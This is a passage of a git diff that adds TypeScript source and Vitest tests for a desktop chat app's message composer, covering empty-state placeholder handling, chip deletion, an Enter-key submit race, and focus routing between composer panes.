+    // A committed chip is one object-replacement char, so a fresh `@` typed
+    // after it opens an unscoped browse rather than inheriting the old scope.
+    expect(detectTrigger(`${textBeforeCaret(editor)}@`)?.scope).toBeUndefined()
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/drop-affordance.ts b/ui-desktop/src/app/chat/composer/drop-affordance.ts
new file mode 100644
index 000000000..3426ec282
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/drop-affordance.ts
@@ -0,0 +1,2 @@
+export const COMPOSER_DROP_FADE_CLASS = 'transition-opacity duration-150 ease-out'
+export const COMPOSER_DROP_ACTIVE_CLASS = 'opacity-60'
diff --git a/ui-desktop/src/app/chat/composer/empty-composer.test.ts b/ui-desktop/src/app/chat/composer/empty-composer.test.ts
new file mode 100644
index 000000000..dcf3398e6
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/empty-composer.test.ts
@@ -0,0 +1,270 @@
+import { describe, expect, it } from 'vitest'
+
+import {
+  beginComposerComposition,
+  composerPlainText,
+  deleteChipBeforeCaret,
+  normalizeComposerEditorDom,
+  renderComposerContents,
+  RICH_INPUT_SLOT
+} from './rich-editor'
+
+function editor(): HTMLDivElement {
+  const el = document.createElement('div')
+
+  el.dataset.slot = RICH_INPUT_SLOT
+  el.contentEditable = 'true'
+  document.body.append(el)
+
+  return el
+}
+
+/** Whatever emptied it — Delete, cut, Chromium's own selection-delete — the
+ *  normalizer lands on the same DOM. */
+function emptied(): HTMLDivElement {
+  const el = editor()
+
+  el.append(document.createTextNode('hello'))
+  el.replaceChildren()
+  normalizeComposerEditorDom(el)
+
+  return el
+}
+
+describe('an emptied composer reads as empty', () => {
+  it('keeps the placeholder <br> so the contenteditable holds its height', () => {
+    // The scaffolding is deliberate: a childless contenteditable collapses to a
+    // sliver in Chromium. It just must not read as content.
+    expect(emptied().innerHTML).toBe('<br>')
+  })
+
+  it('reads that editor as empty, not as a newline', () => {
+    expect(composerPlainText(emptied())).toBe('')
+  })
+
+  it('reads a truly childless editor as empty', () => {
+    expect(composerPlainText(editor())).toBe('')
+  })
+
+  it('still reads a real Shift+Enter line break as a newline', () => {
+    const el = editor()
+
+    el.append(document.createTextNode('one'), document.createElement('br'), document.createTextNode('two'))
+
+    expect(composerPlainText(el)).toBe('one\ntwo')
+  })
+
+  it('still reads a trailing break after text as a newline', () => {
+    const el = editor()
+
+    el.append(document.createTextNode('one'), document.createElement('br'))
+
+    expect(composerPlainText(el)).toBe('one\n')
+  })
+
+  it('only treats the EDITOR\u2019s lone <br> as scaffolding, not a nested one', () => {
+    // A lone <br> inside some other element is a real line break; the exemption
+    // is scoped to the editor root by its slot marker. (The block wrapper adds
+    // its own trailing newline — unchanged behavior, asserted so the exemption
+    // can't quietly widen to nested nodes.)
+    const el = editor()
+    const inner = document.createElement('div')
+
+    inner.append(document.createElement('br'))
+    el.append(document.createTextNode('one'), inner)
+
+    expect(composerPlainText(el)).toBe('one\n\n')
+  })
+})
+
+/** The rule the stylesheet paints the placeholder with. `:empty` alone goes
+ *  false the instant the scaffolding <br> lands. */
+const PLACEHOLDER_SHOWS = ':is(:empty, [data-empty])'
+
+describe('an emptied composer shows its placeholder again', () => {
+  it('advertises emptiness once the scaffolding break is in place', () => {
+    expect(emptied().matches(PLACEHOLDER_SHOWS)).toBe(true)
+  })
+
+  it('advertises emptiness for a truly childless editor', () => {
+    expect(editor().matches(PLACEHOLDER_SHOWS)).toBe(true)
+  })
+
+  it('stops advertising it once something is typed', () => {
+    const el = emptied()
+
+    el.replaceChildren(document.createTextNode('hi'))
+    normalizeComposerEditorDom(el)
+
+    expect(el.matches(PLACEHOLDER_SHOWS)).toBe(false)
+  })
+
+  // A text node is invisible to selectors, so `one<br>` and `<br>` are the same
+  // shape to any pure-CSS rule (`:has(> br:only-child)` matches both and paints
+  // the placeholder straight over the user's text). The DOM writer has to say.
+  it('does not advertise emptiness for a trailing break after text', () => {
+    const el = editor()
+
+    el.append(document.createTextNode('one'), document.createElement('br'))
+    normalizeComposerEditorDom(el)
+
+    expect(el.matches(PLACEHOLDER_SHOWS)).toBe(false)
+  })
+
+  it('does not advertise emptiness for a Shift+Enter break between text', () => {
+    const el = editor()
+
+    el.append(document.createTextNode('one'), document.createElement('br'), document.createTextNode('two'))
+    normalizeComposerEditorDom(el)
+
+    expect(el.matches(PLACEHOLDER_SHOWS)).toBe(false)
+  })
+
+  // Repainting from text (restored draft, undo, completion rebuild) is the
+  // other writer that reshapes the editor root — it must not strand the marker.
+  it('drops the marker when a draft is painted back in', () => {
+    const el = emptied()
+
+    renderComposerContents(el, 'restored draft')
+
+    expect(el.matches(PLACEHOLDER_SHOWS)).toBe(false)
+  })
+
+  it('re-advertises emptiness when a draft is painted back out', () => {
+    const el = editor()
+
+    renderComposerContents(el, 'temporary')
+    renderComposerContents(el, '')
+
+    expect(el.matches(PLACEHOLDER_SHOWS)).toBe(true)
+  })
+
+  // Chromium leaves zero-length text nodes behind whenever an edit lands next
+  // to a contenteditable=false chip. They render as nothing, so an editor
+  // holding only those is empty to the user — counting them as contents left
+  // the placeholder hidden under a composer that looked blank.
+  it('advertises emptiness for an editor holding only zero-length text nodes', () => {
+    const el = editor()
+
+    el.append(document.createTextNode(''), document.createTextNode(''))
+    normalizeComposerEditorDom(el)
+
+    expect(el.matches(PLACEHOLDER_SHOWS)).toBe(true)
+  })
+
+  it('does not advertise emptiness while real text sits beside that litter', () => {
+    const el = editor()
+
+    el.append(document.createTextNode(''), document.createTextNode('one'), document.createTextNode(''))
+    normalizeComposerEditorDom(el)
+
+    expect(el.matches(PLACEHOLDER_SHOWS)).toBe(false)
+  })
+
+  // Input events are skipped for the duration of an IME composition, so nothing
+  // else clears the marker until it ends — the hint would sit behind the
+  // hiragana the user is composing (#75960).
+  it('hides the placeholder before IME preedit text starts', () => {
+    const el = emptied()
+
+    beginComposerComposition(el)
+
+    expect(el.matches(PLACEHOLDER_SHOWS)).toBe(false)
+  })
+
+  it('brings the placeholder back when composition ends with nothing committed', () => {
+    const el = emptied()
+
+    beginComposerComposition(el)
+    normalizeComposerEditorDom(el)
+
+    expect(el.matches(PLACEHOLDER_SHOWS)).toBe(true)
+  })
+})
+
+/** A directive chip, as `refChipElement` builds it. */
+function chip(): HTMLSpanElement {
+  const el = document.createElement('span')
+
+  el.contentEditable = 'false'
+  el.dataset.refText = '@folder:`apps/desktop/`'
+  el.append(document.createTextNode('apps/desktop/'))
+
+  return el
+}
+
+function caretAt(node: Node, offset: number) {
+  const range = document.createRange()
+
+  range.setStart(node, offset)
+  range.collapse(true)
+
+  const selection = window.getSelection()
+
+  selection?.removeAllRanges()
+  selection?.addRange(range)
+}
+
+/** Committing a completion empties the typed token's text node instead of
+ *  removing it, and `Range.insertNode` splits the line around the caret — so a
+ *  freshly-chipped directive sits between zero-length text nodes. Backspace has
+ *  to see past them or the chip can't be deleted at all. */
+describe('backspace deletes a chip surrounded by Chromium litter', () => {
+  it('deletes the chip when the caret sits in a zero-length text node after it', () => {
+    const el = editor()
+
+    el.append(document.createTextNode(''), chip(), document.createTextNode(''))
+    caretAt(el.childNodes[2] as Node, 0)
+
+    expect(deleteChipBeforeCaret(el)).toBe(true)
+    expect(el.querySelector('[data-ref-text]')).toBeNull()
+  })
+
+  it('deletes the chip when the caret is past a zero-length text node at editor level', () => {
+    const el = editor()
+
+    el.append(chip(), document.createTextNode(''))
+    caretAt(el, 2)
+
+    expect(deleteChipBeforeCaret(el)).toBe(true)
+    expect(el.querySelector('[data-ref-text]')).toBeNull()
+  })
+
+  it('still swallows the auto-inserted trailing space through that litter', () => {
+    const el = editor()
+
+    el.append(chip(), document.createTextNode(''), document.createTextNode(' '))
+    caretAt(el, 2)
+
+    expect(deleteChipBeforeCaret(el)).toBe(true)
+    expect(composerPlainText(el)).toBe('')
+  })
+
+  it('keeps real following text when it deletes the chip', () => {
+    const el = editor()
+
+    el.append(chip(), document.createTextNode(''), document.createTextNode(' and this'))
+    caretAt(el, 2)
+
+    expect(deleteChipBeforeCaret(el)).toBe(true)
+    expect(composerPlainText(el)).toBe('and this')
+  })
+
+  it('leaves plain text to the native backspace', () => {
+    const el = editor()
+
+    el.append(document.createTextNode('hello'))
+    caretAt(el.firstChild as Node, 5)
+
+    expect(deleteChipBeforeCaret(el)).toBe(false)
+  })
+
+  it('sweeps the litter out of the editor when it normalizes', () => {
+    const el = editor()
+
+    el.append(document.createTextNode(''), chip(), document.createTextNode(''))
+    normalizeComposerEditorDom(el)
+
+    expect(Array.from(el.childNodes).map(node => node.nodeName)).toEqual(['SPAN'])
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/enter-submit-dom-race.test.tsx b/ui-desktop/src/app/chat/composer/enter-submit-dom-race.test.tsx
new file mode 100644
index 000000000..ad35b20fa
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/enter-submit-dom-race.test.tsx
@@ -0,0 +1,275 @@
+import { act, cleanup, fireEvent, render } from '@testing-library/react'
+import { useRef, useState } from 'react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+// No global setupFiles registers auto-cleanup, so unmount between tests —
+// otherwise a second render() leaks the first editor and getByTestId('editor')
+// matches multiple nodes.
+afterEach(cleanup)
+
+// Faithful mirror of index.tsx's Enter wiring (handleEditorKeyDown's Enter
+// branch + submitDraft), driven through REAL DOM keydown events on a
+// contentEditable.
+//
+// Regression repro for #39630: pressing Enter right after typing (fast typing /
+// IME) did nothing. The composer state (`draft` from useAuiState) and its
+// derived `hasComposerPayload` lag the DOM by a render, so the keydown handler
+// read empty state and either dropped the message, drained a queued prompt
+// instead of sending, or (while busy) refused to queue. The fix reads the live
+// editor text — `hasLivePayload` in the handler and a DOM re-sync at the top of
+// submitDraft — so the just-typed text always wins.
+//
+// We model the race deterministically the way the IME repro does: mutate the
+// editor's textContent WITHOUT firing an input event, so the React `draft`
+// state stays stale while the DOM already holds the text.
+function Harness({
+  busy = false,
+  disabled = false,
+  queued = [],
+  onSubmit,
+  onQueue,
+  onCancel,
+  onDrain,
+  onSendNow
+}: {
+  busy?: boolean
+  disabled?: boolean
+  queued?: readonly string[]
+  onSubmit: (text: string) => void
+  onQueue: (text: string) => void
+  onCancel: () => void
+  onDrain: () => void
+  onSendNow?: (id: string) => void
+}) {
+  const editorRef = useRef<HTMLDivElement>(null)
+  const draftRef = useRef('')
+  // Mirrors `useAuiState(s => s.composer.text)` — updated only via setText, so
+  // it lags the DOM until React re-renders (the source of the bug).
+  const [draft, setDraft] = useState('')
+  const attachments: unknown[] = []
+
+  const composerPlainText = (el: HTMLElement) => el.textContent ?? ''
+
+  const setText = (next: string) => {
+    draftRef.current = next
+    setDraft(next)
+  }
+
+  const submitDraft = () => {
+    if (disabled) {
+      return
+    }
+
+    const editor = editorRef.current
+
+    if (editor) {
+      const domText = composerPlainText(editor)
+
+      if (domText !== draftRef.current) {
+        draftRef.current = domText
+        setDraft(domText)
+      }
+    }
+
+    const text = draftRef.current
+    const payloadPresent = text.trim().length > 0 || attachments.length > 0
+
+    if (busy) {
+      if (payloadPresent) {
+        onQueue(text)
+      } else {
+        onCancel()
+      }
+    } else if (!payloadPresent && queued.length > 0) {
+      onDrain()
+    } else if (payloadPresent) {
+      onSubmit(text)
+    }
+  }
+
+  const handleKeyDown = (event: React.KeyboardEvent<HTMLDivElement>) => {
+    if (event.key === 'Enter' && !event.shiftKey) {
+      event.preventDefault()
+
+      const editorText = editorRef.current ? composerPlainText(editorRef.current) : draftRef.current
+      const hasLivePayload = editorText.trim().length > 0 || attachments.length > 0
+
+      if (disabled) {
+        return
+      }
+
+      if (!busy && !hasLivePayload && queued.length > 0) {
+        onDrain()
+
+        return
+      }
+
+      if (busy && !hasLivePayload) {
+        const head = queued[0]
+
+        if (head) {
+          onSendNow?.(head)
+        }
+
+        return
+      }
+
+      submitDraft()
+    }
+  }
+
+  // `draft` is read so the lint/compiler treats the stale-state mirror as live;
+  // the assertions prove the handler never relies on it.
+  void draft
+
+  return (
+    <div
+      contentEditable
+      data-testid="editor"
+      onInput={event => setText(composerPlainText(event.currentTarget))}
+      onKeyDown={handleKeyDown}
+      ref={editorRef}
+      suppressContentEditableWarning
+    />
+  )
+}
+
+describe('composer Enter submit — live DOM vs stale composer state (#39630)', () => {
+  it('sends the just-typed text on Enter even when composer state has not synced', async () => {
+    const onSubmit = vi.fn()
+
+    const { getByTestId } = render(
+      <Harness onCancel={vi.fn()} onDrain={vi.fn()} onQueue={vi.fn()} onSubmit={onSubmit} />
+    )
+
+    const editor = getByTestId('editor')
+
+    // Fast typing: the DOM has the text but NO input event fired, so `draft`
+    // state is still empty (the exact stale-state race).
+    await act(async () => {
+      editor.textContent = 'hello world'
+      fireEvent.keyDown(editor, { key: 'Enter' })
+    })
+
+    expect(onSubmit).toHaveBeenCalledWith('hello world')
+  })
+
+  it('queues a fast-typed message while busy instead of draining the queue or cancelling', async () => {
+    const onQueue = vi.fn()
+    const onDrain = vi.fn()
+    const onCancel = vi.fn()
+
+    const { getByTestId } = render(
+      <Harness busy onCancel={onCancel} onDrain={onDrain} onQueue={onQueue} onSubmit={vi.fn()} queued={['queued-1']} />
+    )
+
+    const editor = getByTestId('editor')
+
+    await act(async () => {
+      editor.textContent = 'urgent follow-up'
+      fireEvent.keyDown(editor, { key: 'Enter' })
+    })
+
+    expect(onQueue).toHaveBeenCalledWith('urgent follow-up')
+    expect(onDrain).not.toHaveBeenCalled()
+    expect(onCancel).not.toHaveBeenCalled()
+  })
+
+  it('treats an empty Enter while busy with nothing queued as a no-op (never an accidental Stop)', async () => {
+    const onCancel = vi.fn()
+    const onSubmit = vi.fn()
+    const onQueue = vi.fn()
+    const onSendNow = vi.fn()
+
+    const { getByTestId } = render(
+      <Harness busy onCancel={onCancel} onDrain={vi.fn()} onQueue={onQueue} onSendNow={onSendNow} onSubmit={onSubmit} />
+    )
+
+    const editor = getByTestId('editor')
+
+    await act(async () => {
+      editor.textContent = ''
+      fireEvent.keyDown(editor, { key: 'Enter' })
+    })
+
+    expect(onCancel).not.toHaveBeenCalled()
+    expect(onSubmit).not.toHaveBeenCalled()
+    expect(onQueue).not.toHaveBeenCalled()
+    expect(onSendNow).not.toHaveBeenCalled()
+  })
+
+  it('double-send: an empty Enter while busy with a queued turn sends that turn now', async () => {
+    const onCancel = vi.fn()
+    const onSendNow = vi.fn()
+
+    const { getByTestId } = render(
+      <Harness
+        busy
+        onCancel={onCancel}
+        onDrain={vi.fn()}
+        onQueue={vi.fn()}
+        onSendNow={onSendNow}
+        onSubmit={vi.fn()}
+        queued={['queued-1', 'queued-2']}
+      />
+    )
+
+    const editor = getByTestId('editor')
+
+    await act(async () => {
+      editor.textContent = ''
+      fireEvent.keyDown(editor, { key: 'Enter' })
+    })
+
+    // Head of the queue, and NOT a bare cancel — send-now promotes + interrupts.
+    expect(onSendNow).toHaveBeenCalledWith('queued-1')
+    expect(onCancel).not.toHaveBeenCalled()
+  })
+
+  it('drains the next queued prompt on Enter when idle with a truly empty editor', async () => {
+    const onDrain = vi.fn()
+    const onSubmit = vi.fn()
+
+    const { getByTestId } = render(
+      <Harness onCancel={vi.fn()} onDrain={onDrain} onQueue={vi.fn()} onSubmit={onSubmit} queued={['queued-1']} />
+    )
+
+    const editor = getByTestId('editor')
+
+    await act(async () => {
+      editor.textContent = ''
+      fireEvent.keyDown(editor, { key: 'Enter' })
+    })
+
+    expect(onDrain).toHaveBeenCalledTimes(1)
+    expect(onSubmit).not.toHaveBeenCalled()
+  })
+
+  it('keeps reconnect drafts editable but blocks Enter submit until the gateway returns', async () => {
+    const onSubmit = vi.fn()
+    const onDrain = vi.fn()
+
+    const { getByTestId } = render(
+      <Harness
+        disabled
+        onCancel={vi.fn()}
+        onDrain={onDrain}
+        onQueue={vi.fn()}
+        onSubmit={onSubmit}
+        queued={['queued-1']}
+      />
+    )
+
+    const editor = getByTestId('editor')
+
+    await act(async () => {
+      editor.textContent = 'draft while reconnecting'
+      fireEvent.input(editor)
+      fireEvent.keyDown(editor, { key: 'Enter' })
+    })
+
+    expect(editor.textContent).toBe('draft while reconnecting')
+    expect(onDrain).not.toHaveBeenCalled()
+    expect(onSubmit).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/focus.test.ts b/ui-desktop/src/app/chat/composer/focus.test.ts
new file mode 100644
index 000000000..4fd210873
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/focus.test.ts
@@ -0,0 +1,285 @@
+import { afterEach, describe, expect, it } from 'vitest'
+
+import { $hoveredTreeGroup } from '@/components/pane-shell/tree/store'
+
+import {
+  blurComposerInput,
+  getActiveComposer,
+  markActiveComposer,
+  onComposerFocusRequest,
+  onComposerModelMenuRequest,
+  releaseActiveComposer,
+  requestComposerFocus,
+  requestModelMenuToggle
+} from './focus'
+import { RICH_INPUT_SLOT } from './rich-editor'
+
+/**
+ * Inactive tabs keep their composer mounted, so an unscoped lookup can blur a
+ * background input and leave the one the user is typing in focused.
+ */
+
+/** A composer input inside its own pane layer, hidden or not. */
+function mountInput(hidden = false) {
+  const layer = document.createElement('div')
+  const input = document.createElement('div')
+  input.dataset.slot = RICH_INPUT_SLOT
+  input.tabIndex = 0
+  layer.toggleAttribute('data-pane-hidden', hidden)
+  layer.append(input)
+  document.body.append(layer)
+
+  return input
+}
+
+/** A chat surface stamp — the same `data-composer-target` ChatView hangs. */
+function mountSurface(target: string, hidden = false) {
+  const layer = document.createElement('div')
+  layer.toggleAttribute('data-pane-hidden', hidden)
+  const surface = document.createElement('div')
+  surface.dataset.composerTarget = target
+  layer.append(surface)
+  document.body.append(layer)
+
+  return surface
+}
+
+afterEach(() => {
+  document.body.innerHTML = ''
+  // `activeTarget` is module-level — a case that leaves a stale claim behind
+  // would otherwise decide the next one.
+  markActiveComposer('main')
+  $hoveredTreeGroup.set(null)
+})
+
+describe('blurComposerInput', () => {
+  it('blurs the foreground composer while a hidden tab matches first', () => {
+    const background = mountInput(true)
+    const foreground = mountInput()
+
+    foreground.focus()
+    blurComposerInput()
+
+    expect(document.activeElement).not.toBe(foreground)
+    expect(document.activeElement).not.toBe(background)
+  })
+
+  it('leaves focus alone when the composer does not hold it', () => {
+    const outside = document.createElement('button')
+    document.body.append(outside)
+    mountInput()
+
+    outside.focus()
+    blurComposerInput()
+
+    expect(document.activeElement).toBe(outside)
+  })
+})
+
+/**
+ * `markActiveComposer` has four call sites and, unguarded, no counterpart: an
+ * unmounting or keep-alive-buried composer left `activeTarget` pointing at
+ * itself, so every `'active'`-routed request was delivered to a target with no
+ * on-screen subscriber. Type-to-focus preventDefaults the keystroke BEFORE the
+ * request, so a dead target swallows the character and focuses nothing.
+ */
+describe('releaseActiveComposer', () => {
+  it('falls back to the main composer when the claimant releases', () => {
+    const root = document.createElement('div')
+    root.dataset.slot = 'aui_edit-composer-root'
+    document.body.append(root)
+
+    markActiveComposer('edit')
+    expect(getActiveComposer()).toBe('edit')
+
+    root.remove()
+    releaseActiveComposer('edit')
+
+    expect(getActiveComposer()).toBe('main')
+  })
+
+  it('leaves the key with the live claimant when a stale composer releases late', () => {
+    markActiveComposer('edit')
+    markActiveComposer('tile:abc')
+
+    releaseActiveComposer('edit')
+
+    expect(getActiveComposer()).toBe('tile:abc')
+  })
+
+  it('prefers the visible chat surface over a hard main default', () => {
+    const root = document.createElement('div')
+    root.dataset.slot = 'aui_edit-composer-root'
+    document.body.append(root)
+    mountSurface('tile:visible')
+    markActiveComposer('edit')
+
+    root.remove()
+    releaseActiveComposer('edit')
+
+    expect(getActiveComposer()).toBe('tile:visible')
+  })
+
+  it('routes an active-target request to the main composer once the edit composer closes', async () => {
+    // Mirrors the per-composer filter in use-composer-draft / user-edit-composer:
+    // a composer ignores any request not addressed to its own target.
+    const mainComposerSaw: string[] = []
+
+    const off = onComposerFocusRequest(({ target }) => {
+      if (target === 'main') {
+        mainComposerSaw.push(target)
+      }
+    })
+
+    const root = document.createElement('div')
+    root.dataset.slot = 'aui_edit-composer-root'
+    document.body.append(root)
+    markActiveComposer('edit')
+    root.remove()
+    releaseActiveComposer('edit')
+    requestComposerFocus('active')
+
+    // `dispatch` defers to a macrotask so click/keydown handlers settle first.
+    await new Promise(resolve => window.setTimeout(resolve, 0))
+    off()
+
+    expect(mainComposerSaw).toEqual(['main'])
+  })
+})
+
+describe('resolveActive / keep-alive tab heal', () => {
+  it('heals type-to-focus onto the visible main tab when a tile is buried', async () => {
+    // Repro for the reported main-tab miss: user typed in a session tile, then
+    // clicked the main/workspace tab without focusing its input. The tile stays
+    // mounted under data-pane-hidden, so activeTarget still reads tile:… and
+    // every type-to-focus request is dropped by the visible main composer.
+    mountSurface('tile:buried', true)
+    mountSurface('main')
+    markActiveComposer('tile:buried')
+
+    expect(getActiveComposer()).toBe('main')
+
+    const mainSaw: string[] = []
+    const tileSaw: string[] = []
+
+    const off = onComposerFocusRequest(({ target }) => {
+      if (target === 'main') {
+        mainSaw.push(target)
+      }
+
+      if (target === 'tile:buried') {
+        tileSaw.push(target)
+      }
+    })
+
+    requestComposerFocus('active', { typeChar: 'h' })
+    await new Promise(resolve => window.setTimeout(resolve, 0))
+    off()
+
+    expect(mainSaw).toEqual(['main'])
+    expect(tileSaw).toEqual([])
+    // Cache stays honest so dict/insert/Esc path all agree thereafter.
+    expect(getActiveComposer()).toBe('main')
+  })
+
+  it('keeps a live tile claim while that tile is the visible surface', () => {
+    mountSurface('main', true)
+    mountSurface('tile:front')
+    markActiveComposer('tile:front')
+
+    expect(getActiveComposer()).toBe('tile:front')
+  })
+
+  it('heals an edit claim once the edit root is gone (no release site needed)', async () => {
+    mountSurface('main')
+    markActiveComposer('edit')
+    // No edit root in the document → claim is dead. getActiveComposer heals.
+    expect(getActiveComposer()).toBe('main')
+
+    const mainSaw: string[] = []
+
+    const off = onComposerFocusRequest(({ target }) => {
+      if (target === 'main') {
+        mainSaw.push(target)
+      }
+    })
+
+    requestComposerFocus('active', { typeChar: 'a' })
+    await new Promise(resolve => window.setTimeout(resolve, 0))
+    off()
+
+    expect(mainSaw).toEqual(['main'])
+  })
+
+  it('holds an edit claim while the edit composer root is mounted', () => {
+    const root = document.createElement('div')
+    root.dataset.slot = 'aui_edit-composer-root'
+    document.body.append(root)
+    mountSurface('main')
+    markActiveComposer('edit')
+
+    expect(getActiveComposer()).toBe('edit')
+  })
+})
+
+/** A chat surface inside a layout zone, mirroring ChatView-in-tree-group. */
+function mountZonedSurface(target: string, zone: string, hidden = false) {
+  const group = document.createElement('div')
+  group.dataset.treeGroup = zone
+  const layer = document.createElement('div')
+  layer.toggleAttribute('data-pane-hidden', hidden)
+  const surface = document.createElement('div')
+  surface.dataset.composerTarget = target
+  layer.append(surface)
+  group.append(layer)
+  document.body.append(group)
+
+  return surface
+}
+
+const collectModelMenuTargets = async (): Promise<string[]> => {
+  const saw: string[] = []
+  const off = onComposerModelMenuRequest(target => saw.push(target))
+
+  await new Promise(resolve => window.setTimeout(resolve, 0))
+  off()
+
+  return saw
+}
+
+describe('requestModelMenuToggle', () => {
+  it('targets the pane under the pointer over the focused one (#74447 convention)', async () => {
+    mountZonedSurface('main', 'zone-a')
+    mountZonedSurface('tile:hovered', 'zone-b')
+    markActiveComposer('main')
+    $hoveredTreeGroup.set('zone-b')
+
+    expect(requestModelMenuToggle()).toBe(true)
+    expect(await collectModelMenuTargets()).toEqual(['tile:hovered'])
+  })
+
+  it('falls back to the active composer when the pointer is off every zone', async () => {
+    mountZonedSurface('main', 'zone-a')
+    mountZonedSurface('tile:other', 'zone-b')
+    markActiveComposer('tile:other')
+
+    expect(requestModelMenuToggle()).toBe(true)
+    expect(await collectModelMenuTargets()).toEqual(['tile:other'])
+  })
+
+  it('skips a hidden keep-alive tab in the hovered zone (targets its visible sibling)', async () => {
+    mountZonedSurface('main', 'zone-a', true)
+    mountZonedSurface('tile:front', 'zone-a')
+    markActiveComposer('main')
+    $hoveredTreeGroup.set('zone-a')
+
+    expect(requestModelMenuToggle()).toBe(true)
+    expect(await collectModelMenuTargets()).toEqual(['tile:front'])
+  })
+
+  it('returns false with no chat surface on screen so the caller can open the dialog', async () => {
+    // Settings/profiles routes: no [data-composer-target] anywhere.
+    expect(requestModelMenuToggle()).toBe(false)
+    expect(await collectModelMenuTargets()).toEqual([])
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/focus.ts b/ui-desktop/src/app/chat/composer/focus.ts
new file mode 100644
index 000000000..1e06f2938
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/focus.ts
@@ -0,0 +1,337 @@
+/**
+ * Composer focus + external-insert bus.
+ *
+ * Mutations from outside the composer (sidebar attach, drag drop, terminal
+ * Cmd+L, preview console, etc.) dispatch through here. Each composer subscribes
+ * and routes the work back into its own ref/state.
+ *
+ * `dispatch` defers to a macrotask so synchronous click/keydown handlers
+ * (react-arborist row focus, picker `node.select()`) finish first and don't
+ * steal focus from the composer effect.
+ */
+
+import { queryAllVisible, queryVisible } from '@/components/pane-shell/pane-visibility'
+import { $hoveredTreeGroup } from '@/components/pane-shell/tree/store'
+
+import type { InlineRefInput } from './inline-refs'
+import { RICH_INPUT_SLOT } from './rich-editor'
+
+/** Composer routing key. The main chat is `'main'`, the edit composer
+ *  `'edit'`; scoped composers (session tiles) use `'tile:<id>'`. */
+export type ComposerTarget = 'edit' | 'main' | (string & {})
+export type ComposerInsertMode = 'block' | 'inline'
+
+export interface FocusDetail {
+  target: ComposerTarget
+  /** Append after focus (type-to-focus / soft `/`). */
+  typeChar?: string
+}
+
+interface InsertDetail {
+  mode: ComposerInsertMode
+  target: ComposerTarget
+  text: string
+}
+
+interface InsertRefsDetail {
+  refs: InlineRefInput[]
+  target: ComposerTarget
+}
+
+const FOCUS_EVENT = 'clawcodex:composer-focus'
+const INSERT_EVENT = 'clawcodex:composer-insert'
+const INSERT_REFS_EVENT = 'clawcodex:composer-insert-refs'
+const SUBMIT_EVENT = 'clawcodex:composer-submit'
+const VOICE_TOGGLE_EVENT = 'clawcodex:composer-voice-toggle'
+const MODEL_MENU_EVENT = 'clawcodex:composer-model-menu'
+
+/** Inline edit composer root — mounted only while a user bubble is being edited. */
+const EDIT_COMPOSER_ROOT = '[data-slot="aui_edit-composer-root"]'
+
+/** Attribute-safe selector fragment. jsdom (vitest) does not ship `CSS.escape`. */
+const cssEscape = (value: string): string => {
+  if (typeof CSS !== 'undefined' && typeof CSS.escape === 'function') {
+    return CSS.escape(value)
+  }
+
+  // Our targets are `'main'` / `'edit'` / `'tile:<id>'` — alphanumerics plus `:`
+  // and `-`. Escape anything outside that set so a weird id cannot break the
+  // attribute selector.
+  return value.replace(/[^a-zA-Z0-9_:-]/g, ch => `\\${ch}`)
+}
+
+interface SubmitDetail {
+  target: ComposerTarget
+  text: string
+}
+
+let activeTarget: ComposerTarget = 'main'
+
+/**
+ * The chat surface currently on screen (`data-composer-target` hung off each
+ * ChatView). Inactive tabs stay mounted with `data-pane-hidden`, so this uses
+ * the same visibility policy as every other document-wide surface lookup.
+ */
+const visibleChatTarget = (): ComposerTarget | null => {
+  if (typeof document === 'undefined') {
+    return null
+  }
+
+  const surface = queryVisible<HTMLElement>('[data-composer-target]')
+  const target = surface?.dataset.composerTarget
+
+  return target ? (target as ComposerTarget) : null
+}
+
+/** True when `target` still has a live, on-screen subscriber. */
+const targetIsReachable = (target: ComposerTarget): boolean => {
+  if (typeof document === 'undefined') {
+    return true
+  }
+
+  // The edit composer is an in-thread overlay, not a chat surface — it never
+  // stamps `data-composer-target`. While its root is mounted it still owns the
+  // bus; once it tears down the claim is dead.
+  if (target === 'edit') {
+    return Boolean(document.querySelector(EDIT_COMPOSER_ROOT))
+  }
+
+  // Exact match on a VISIBLE surface. Background keep-alive tabs carry the same
+  // `data-composer-target` but sit under `data-pane-hidden`, so queryVisible
+  // filters them out.
+  if (queryVisible(`[data-composer-target="${cssEscape(target)}"]`)) {
+    return true
+  }
+
+  // A different chat surface is on screen → this claim is buried or gone.
+  // (A claim with zero stamped surfaces yet — first paint, pure-unit tests —
+  // keeps the marked key until the DOM contradicts it.)
+  if (queryVisible('[data-composer-target]')) {
+    return false
+  }
+
+  return true
+}
+
+/**
+ * The composer `'active'` should route to right now.
+ *
+ * The cached claim (`activeTarget`) wins while its surface is still on screen.
+ * Tab stacks keep inactive panes mounted, so focusing a tile then clicking the
+ * main tab leaves `activeTarget` pointing at a buried composer — with no
+ * subscriber on the visible surface, every type-to-focus keystroke is
+ * preventDefault'd and dropped. Heal to the visible chat surface (or main)
+ * whenever the claim is off-screen or gone, and keep the cache honest so Esc /
+ * voice / soft `/` agree with the keyboard path.
+ */
+const resolveActive = (): ComposerTarget => {
+  if (targetIsReachable(activeTarget)) {
+    return activeTarget
+  }
+
+  const visible = visibleChatTarget() ?? 'main'
+
+  activeTarget = visible
+
+  return visible
+}
+
+const resolve = (target: ComposerTarget | 'active') => (target === 'active' ? resolveActive() : target)
+
+const dispatch = <T>(name: string, detail: T) => {
+  if (typeof window === 'undefined') {
+    return
+  }
+
+  window.setTimeout(() => window.dispatchEvent(new CustomEvent<T>(name, { detail })), 0)
+}
+
+const subscribe = <T>(name: string, handler: (detail: T) => void) => {
+  if (typeof window === 'undefined') {
+    return () => undefined
+  }
+
+  const listener = (event: Event) => {
+    const detail = (event as CustomEvent<T>).detail
+
+    if (detail) {
+      handler(detail)
+    }
+  }
+
+  window.addEventListener(name, listener)
+
+  return () => window.removeEventListener(name, listener)
+}
+
+export const markActiveComposer = (target: ComposerTarget) => {
+  activeTarget = target
+}
+
+/** Hand the routing key back when a composer unmounts, so `'active'` can never
+ *  resolve to a composer that no longer has a subscriber — such a request is
+ *  dispatched and then dropped by every mounted composer's target filter, and
